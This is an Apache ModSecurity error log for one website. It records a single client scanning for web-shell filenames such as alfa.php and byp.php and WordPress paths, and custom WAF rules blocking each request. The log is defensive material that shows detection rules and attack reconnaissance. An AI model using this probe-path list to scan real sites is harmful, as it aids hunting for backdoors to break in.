[Tue Dec 30 00:02:36.183681 2025] [:error] [pid 11452:tid 11484] [client 158.158.106.197:11303] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aVKmHKhBUmuWsliUNqSJVwAAAEI"]
[Tue Dec 30 00:02:36.848651 2025] [:error] [pid 24343:tid 24351] [client 158.158.106.197:11322] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aVKmHMvqvAa0rISAVIR9hQAAAgM"]
[Tue Dec 30 00:02:37.401771 2025] [:error] [pid 24307:tid 24331] [client 158.158.106.197:11306] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aVKmHS5AURuH8IsFzz6bTgAAAdU"]
[Tue Dec 30 00:02:37.998099 2025] [:error] [pid 4295:tid 4300] [client 158.158.106.197:11326] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aVKmHTZaf4wrmKkZkFJRvAAAAYM"]
[Tue Dec 30 00:02:38.572672 2025] [:error] [pid 24344:tid 24398] [client 158.158.106.197:11383] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aVKmHk1cesxuccozvjjuLgAAAlU"]
[Tue Dec 30 00:02:39.157847 2025] [:error] [pid 24344:tid 24393] [client 158.158.106.197:11379] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVKmH01cesxuccozvjjuLwAAAlA"]
[Tue Dec 30 00:02:39.717872 2025] [:error] [pid 37389:tid 37469] [client 158.158.106.197:4992] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVKmH8EYrQKI4GZ26QZy7gAAAQ8"]
[Tue Dec 30 00:02:40.458296 2025] [:error] [pid 24344:tid 24394] [client 158.158.106.197:11377] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVKmIE1cesxuccozvjjuMAAAAlE"]
[Tue Dec 30 00:02:41.236971 2025] [:error] [pid 11452:tid 11495] [client 158.158.106.197:5070] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVKmIahBUmuWsliUNqSJYQAAAE0"]
[Tue Dec 30 00:02:41.868427 2025] [:error] [pid 11453:tid 11515] [client 158.158.106.197:4998] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aVKmIby-FXnKT7-6pt4EhgAAAIY"]
[Tue Dec 30 00:02:42.673391 2025] [:error] [pid 24307:tid 24319] [client 158.158.106.197:5096] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aVKmIi5AURuH8IsFzz6bUQAAAck"]
[Tue Dec 30 00:02:43.199364 2025] [:error] [pid 24307:tid 24314] [client 158.158.106.197:11277] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aVKmIy5AURuH8IsFzz6bUgAAAcQ"]
[Tue Dec 30 00:02:43.832001 2025] [:error] [pid 24307:tid 24333] [client 158.158.106.197:11310] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aVKmIy5AURuH8IsFzz6bUwAAAdc"]
[Tue Dec 30 00:02:44.379846 2025] [:error] [pid 24344:tid 24383] [client 158.158.106.197:5041] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVKmJE1cesxuccozvjjuNAAAAkg"]
[Tue Dec 30 00:02:44.971180 2025] [:error] [pid 24307:tid 24310] [client 158.158.106.197:4957] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVKmJC5AURuH8IsFzz6bVAAAAcA"]
[Tue Dec 30 00:02:45.591875 2025] [:error] [pid 24344:tid 24391] [client 158.158.106.197:5058] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVKmJU1cesxuccozvjjuNQAAAk8"]
[Tue Dec 30 00:02:46.239460 2025] [:error] [pid 24307:tid 24318] [client 158.158.106.197:11268] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVKmJi5AURuH8IsFzz6bVQAAAcg"]
[Tue Dec 30 00:02:46.977404 2025] [:error] [pid 4295:tid 4317] [client 158.158.106.197:11296] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aVKmJjZaf4wrmKkZkFJRxQAAAZQ"]
[Tue Dec 30 00:02:47.632131 2025] [:error] [pid 24344:tid 24399] [client 158.158.106.197:5063] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aVKmJ01cesxuccozvjjuNgAAAlY"]
[Tue Dec 30 00:02:48.206328 2025] [:error] [pid 24343:tid 24351] [client 158.158.106.197:5109] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aVKmKMvqvAa0rISAVIR9jgAAAgM"]
[Tue Dec 30 00:02:48.838289 2025] [:error] [pid 24344:tid 24387] [client 158.158.106.197:4941] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aVKmKE1cesxuccozvjjuOgAAAkw"]
[Tue Dec 30 00:02:49.587159 2025] [:error] [pid 24307:tid 24322] [client 158.158.106.197:5100] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aVKmKS5AURuH8IsFzz6bWgAAAcw"]
[Tue Dec 30 00:02:50.194023 2025] [:error] [pid 42293:tid 42305] [client 158.158.106.197:11348] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aVKmKgpAkHF7zSWhAzGEUwAAAUo"]
[Tue Dec 30 00:02:50.759742 2025] [:error] [pid 11453:tid 11525] [client 158.158.106.197:5051] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aVKmKry-FXnKT7-6pt4EiAAAAJA"]
[Tue Dec 30 00:02:51.303314 2025] [:error] [pid 24344:tid 24400] [client 158.158.106.197:5024] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aVKmK01cesxuccozvjjuQQAAAlc"]
[Tue Dec 30 00:02:51.993010 2025] [:error] [pid 11451:tid 11456] [client 158.158.106.197:5111] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aVKmK5DUmxySx0Vynm8tiAAAAAE"]
[Tue Dec 30 00:02:52.692253 2025] [:error] [pid 4295:tid 4319] [client 158.158.106.197:5037] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aVKmLDZaf4wrmKkZkFJRxwAAAZY"]
[Tue Dec 30 00:02:53.182992 2025] [:error] [pid 4295:tid 4307] [client 158.158.106.197:11319] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aVKmLTZaf4wrmKkZkFJRyAAAAYo"]
[Tue Dec 30 00:02:53.760405 2025] [:error] [pid 24344:tid 24394] [client 158.158.106.197:4953] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aVKmLU1cesxuccozvjjuSgAAAlE"]
[Tue Dec 30 00:02:54.278483 2025] [:error] [pid 24344:tid 24381] [client 158.158.106.197:5015] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aVKmLk1cesxuccozvjjuTAAAAkY"]
[Tue Dec 30 00:02:54.943150 2025] [:error] [pid 24344:tid 24401] [client 158.158.106.197:5018] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aVKmLk1cesxuccozvjjuUAAAAlg"]
[Tue Dec 30 00:02:55.458383 2025] [:error] [pid 4295:tid 4320] [client 158.158.106.197:4936] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aVKmLzZaf4wrmKkZkFJRywAAAZc"]
[Tue Dec 30 00:02:56.003017 2025] [:error] [pid 11540:tid 11544] [client 158.158.106.197:5103] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aVKmMA1izvtkZ6YWaTwNHAAAAMI"]
[Tue Dec 30 00:02:56.669262 2025] [:error] [pid 11540:tid 11549] [client 158.158.106.197:5105] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aVKmMA1izvtkZ6YWaTwNHgAAAMc"]
[Tue Dec 30 00:02:57.312331 2025] [:error] [pid 4295:tid 4309] [client 158.158.106.197:5078] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aVKmMTZaf4wrmKkZkFJRzgAAAYw"]
[Tue Dec 30 00:02:57.860112 2025] [:error] [pid 37389:tid 37461] [client 158.158.106.197:4944] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aVKmMcEYrQKI4GZ26QZy9wAAAQc"]
[Tue Dec 30 00:02:58.380159 2025] [:error] [pid 4295:tid 4306] [client 158.158.106.197:11295] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aVKmMjZaf4wrmKkZkFJR0AAAAYk"]
[Tue Dec 30 00:02:58.908044 2025] [:error] [pid 24344:tid 24376] [client 158.158.106.197:5117] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aVKmMk1cesxuccozvjjuUwAAAkE"]
[Tue Dec 30 00:02:59.463157 2025] [:error] [pid 11451:tid 11461] [client 158.158.106.197:4963] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aVKmM5DUmxySx0Vynm8tigAAAAY"]
[Tue Dec 30 00:03:00.025791 2025] [:error] [pid 24344:tid 24394] [client 158.158.106.197:5100] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aVKmNE1cesxuccozvjjuWwAAAlE"]
[Tue Dec 30 00:03:00.709778 2025] [:error] [pid 11451:tid 11455] [client 158.158.106.197:4933] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aVKmNJDUmxySx0Vynm8tiwAAAAA"]
[Tue Dec 30 00:03:01.384436 2025] [:error] [pid 11453:tid 11515] [client 158.158.106.197:11312] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aVKmNby-FXnKT7-6pt4EnQAAAIY"]
[Tue Dec 30 00:03:02.293226 2025] [proxy_fcgi:error] [pid 24344:tid 24391] [client 158.158.106.197:5107] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:03:02.532474 2025] [:error] [pid 24344:tid 24376] [client 158.158.106.197:5107] [client 158.158.106.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aVKmNk1cesxuccozvjjuaAAAAkE"]
[Tue Dec 30 00:03:03.368341 2025] [:error] [pid 24307:tid 24333] [client 158.158.106.197:5007] [client 158.158.106.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aVKmNy5AURuH8IsFzz6baAAAAdc"]
[Tue Dec 30 00:03:04.746244 2025] [:error] [pid 42293:tid 42301] [client 158.158.106.197:5026] [client 158.158.106.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aVKmOApAkHF7zSWhAzGEXAAAAUY"]
[Tue Dec 30 00:03:06.010170 2025] [:error] [pid 24344:tid 24401] [client 158.158.106.197:5084] [client 158.158.106.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aVKmOk1cesxuccozvjjucwAAAlg"]
[Tue Dec 30 00:03:06.626625 2025] [proxy_fcgi:error] [pid 4295:tid 4319] [client 158.158.106.197:4997] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:03:07.383898 2025] [:error] [pid 4295:tid 4299] [client 158.158.106.197:4997] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVKmOzZaf4wrmKkZkFJR2gAAAYI"]
[Tue Dec 30 00:03:07.990083 2025] [:error] [pid 24344:tid 24376] [client 158.158.106.197:4938] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVKmO01cesxuccozvjjudAAAAkE"]
[Tue Dec 30 00:03:08.505348 2025] [:error] [pid 24343:tid 24369] [client 158.158.106.197:5011] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVKmPMvqvAa0rISAVIR9mAAAAhU"]
[Tue Dec 30 00:03:09.102517 2025] [:error] [pid 37389:tid 37460] [client 158.158.106.197:11362] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVKmPcEYrQKI4GZ26QZy_wAAAQY"]
[Tue Dec 30 00:03:09.610162 2025] [:error] [pid 24343:tid 24348] [client 158.158.106.197:5031] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVKmPcvqvAa0rISAVIR9mQAAAgA"]
[Tue Dec 30 00:03:10.210402 2025] [:error] [pid 42293:tid 42306] [client 158.158.106.197:5022] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVKmPgpAkHF7zSWhAzGEXQAAAUs"]
[Tue Dec 30 00:03:10.736289 2025] [:error] [pid 24307:tid 24334] [client 158.158.106.197:5061] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVKmPi5AURuH8IsFzz6bagAAAdg"]
[Tue Dec 30 00:03:11.238497 2025] [:error] [pid 42293:tid 42305] [client 158.158.106.197:5028] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVKmPwpAkHF7zSWhAzGEXwAAAUo"]
[Tue Dec 30 00:03:11.756117 2025] [:error] [pid 24344:tid 24389] [client 158.158.106.197:5113] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aVKmP01cesxuccozvjjufQAAAk4"]
